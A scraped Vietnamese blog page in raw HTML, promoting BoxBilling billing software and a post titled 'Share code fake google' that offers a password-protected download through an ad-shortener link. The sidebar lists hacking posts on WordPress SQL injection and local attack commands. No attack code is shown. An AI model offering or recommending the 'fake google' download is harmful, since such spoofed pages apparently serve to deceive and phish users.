<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;"><a href="http://extensions.boxbilling.com/" rel="nofollow" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;" target="_blank">Browse extensions site</a></li>
</ul>
</div>
<br style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;" /><h3 style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #353535; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 1.846em; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 1.5em; margin: 0px 0px 18px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
Multilanguage interface</h3>
<figure class="caption alignright" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; -webkit-text-stroke-width: 0px; background-color: white; border-radius: 3px; border: 1px solid rgb(204, 204, 204); box-shadow: rgba(0, 0, 0, 0.0470588) 0px 2px 0px; color: #606060; display: block; float: right; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px 0px 0px 20px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"><a href="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr8.jpg" rel="prettyPhoto" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;" title="BoxBilling Screenshot"><img alt="" src="http://www.boxbilling.com/bb-themes/bb/assets/images/screenshots/scr8_t.jpg" style="border: 0px; display: block; padding: 6px 6px 0px;" title="BoxBilling" width="208" /></a><figcaption style="display: block; font-family: Georgia, Times, 'Century Schoolbook L', serif; font-style: italic; padding: 6px; text-align: center;">BoxBilling</figcaption></figure><div class="widget_links" style="-webkit-text-stroke-width: 0px; background-color: #fcfcfc; color: #606060; font-family: Arial, Helvetica, 'Nimbus Sans L', sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 18.0049991607666px; margin: 0px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<ul style="margin: 0px 0px 20px; padding: 0px;">
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;">Client area can be translated in to any language.</li>
<li style="background: url(http://www.boxbilling.com/bb-themes/bb/assets/images/bullet.png) 0px 8px no-repeat; line-height: 24px; list-style: none; margin: 0px; padding: 0px 0px 0px 18px;"><a href="https://github.com/boxbilling/extensions/tree/master/bb-locale" rel="nofollow" style="color: #2f96d0; cursor: pointer; outline: none; text-decoration: none;" target="_blank">Browse contributed translations</a></li>
</ul>
</div>

BoxBilling is a free billing & client management software

DEMO DOCUMENT DOWNLOAD BoxBilling is a free billing & client management software BoxBilling Admin Area Supports aut...

Đọc thêm »

san

<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdqothjF0N7vK3uVwK1471gNHyXP-v7w4i0mWXQQ05a0VxtgKvvZ3658qMhuCpF3Fl9ZCOh5BFyUaCealqY2i-wwtBGzWrnNClrfMvI05Ju0loNuo57qZN-r6fWuR0S1t-EjewvPSyXBnK/s1600/16122096409_4d51145cf4_o.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdqothjF0N7vK3uVwK1471gNHyXP-v7w4i0mWXQQ05a0VxtgKvvZ3658qMhuCpF3Fl9ZCOh5BFyUaCealqY2i-wwtBGzWrnNClrfMvI05Ju0loNuo57qZN-r6fWuR0S1t-EjewvPSyXBnK/s1600/16122096409_4d51145cf4_o.png" width="400" /></a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<b>Code share by  tubotocdo</b></div>
<div style="text-align: center;">
<a href="http://adf.ly/140uLR" rel="nofollow" target="_blank"><b>DOWNLOAD</b></a></div>
<div style="text-align: center;">
<b>pass unrar: quylevhb.blogspot.com</b></div>

Share code fake google

Code share by tubotocdo DOWNLOAD pass unrar: quylevhb.blogspot.com

Đọc thêm »

Free share all

Khai thác lỗi SQli trên plugin fbgorilla của wordpress

Chap 18 - Những kiến thức cơ bản để trở thành hacker : Khái niệm cơ bản SQL Injection

Một số lệnh thông dụng trong local attack

Tool bút 2D phác họa chân dung online

BoxBilling is a free billing & client management software

Share code fake google

Bài đăng phổ biến

Bình luận

Lưu trữ Blog